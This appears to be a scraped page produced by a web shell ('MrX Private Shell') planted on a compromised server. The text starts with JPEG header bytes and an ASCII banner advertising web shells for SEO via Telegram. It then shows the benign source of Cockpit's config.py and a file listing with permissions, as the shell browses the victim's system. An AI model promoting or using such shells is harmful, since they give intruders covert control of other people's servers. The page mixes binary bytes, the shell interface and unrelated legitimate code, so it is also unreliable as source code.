����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
# This file is part of Cockpit.
#
# Copyright (C) 2023 Red Hat, Inc.
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <https://www.gnu.org/licenses/>.
import configparser
import logging
import os
from pathlib import Path
from cockpit._vendor.systemd_ctypes import bus
logger = logging.getLogger(__name__)
XDG_CONFIG_HOME = Path(os.getenv('XDG_CONFIG_HOME') or os.path.expanduser('~/.config'))
DOT_CONFIG_COCKPIT = XDG_CONFIG_HOME / 'cockpit'
def lookup_config(filename: str) -> Path:
config_dirs = os.environ.get('XDG_CONFIG_DIRS', '/etc').split(':')
fallback = None
for config_dir in config_dirs:
config_path = Path(config_dir, 'cockpit', filename)
if not fallback:
fallback = config_path
if config_path.exists():
logger.debug('lookup_config(%s): found %s', filename, config_path)
return config_path
# default to the first entry in XDG_CONFIG_DIRS; that's not according to the spec,
# but what Cockpit has done for years
logger.debug('lookup_config(%s): defaulting to %s', filename, fallback)
assert fallback # mypy; config_dirs always has at least one string
return fallback
class Config(bus.Object, interface='cockpit.Config'):
def __init__(self) -> None:
self.reload()
@bus.Interface.Method(out_types='s', in_types='ss')
def get_string(self, section: str, key: str) -> str:
try:
return self.config[section][key]
except KeyError as exc:
raise bus.BusError('cockpit.Config.KeyError', f'key {key} in section {section} does not exist') from exc
@bus.Interface.Method(out_types='u', in_types='ssuuu')
def get_u_int(self, section: str, key: str, default: int, maximum: int, minimum: int) -> int:
try:
value = self.config[section][key]
except KeyError:
return default
try:
int_val = int(value)
except ValueError:
logger.warning('cockpit.conf: [%s] %s is not an integer', section, key)
return default
return min(max(int_val, minimum), maximum)
@bus.Interface.Method()
def reload(self) -> None:
self.config = configparser.ConfigParser(interpolation=None)
cockpit_conf = lookup_config('cockpit.conf')
logger.debug("cockpit.Config: loading %s", cockpit_conf)
# this may not exist, but it's ok to not have a config file and thus leave self.config empty
try:
self.config.read(cockpit_conf)
except configparser.Error as exc:
logger.warning("cockpit.conf is invalid: %s", exc)
self.config.clear()
return
class Environment(bus.Object, interface='cockpit.Environment'):
variables = bus.Interface.Property('a{ss}')
@variables.getter
def get_variables(self) -> 'dict[str, str]':
return os.environ.copy()
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| __pycache__ | Folder | 0755 |
|
|
| _vendor | Folder | 0755 |
|
|
| channels | Folder | 0755 |
|
|
| data | Folder | 0755 |
|
|
| __init__.py | File | 68 B | 0644 |
|
| _version.py | File | 20 B | 0644 |
|
| beiboot.py | File | 22.16 KB | 0644 |
|
| beipack.py | File | 2.99 KB | 0644 |
|
| bridge.py | File | 12 KB | 0644 |
|
| channel.py | File | 22.32 KB | 0644 |
|
| config.py | File | 3.37 KB | 0644 |
|
| internal_endpoints.py | File | 5.95 KB | 0644 |
|
| jsonutil.py | File | 7.42 KB | 0644 |
|
| osinfo.py | File | 929 B | 0644 |
|
| packages.py | File | 21.25 KB | 0644 |
|
| peer.py | File | 12.45 KB | 0644 |
|
| polkit.py | File | 7.4 KB | 0644 |
|
| polyfills.py | File | 2.27 KB | 0644 |
|
| protocol.py | File | 9.52 KB | 0644 |
|
| remote.py | File | 8.93 KB | 0644 |
|
| router.py | File | 10.08 KB | 0644 |
|
| samples.py | File | 17.02 KB | 0644 |
|
| superuser.py | File | 9.74 KB | 0644 |
|
| transports.py | File | 17.92 KB | 0644 |
|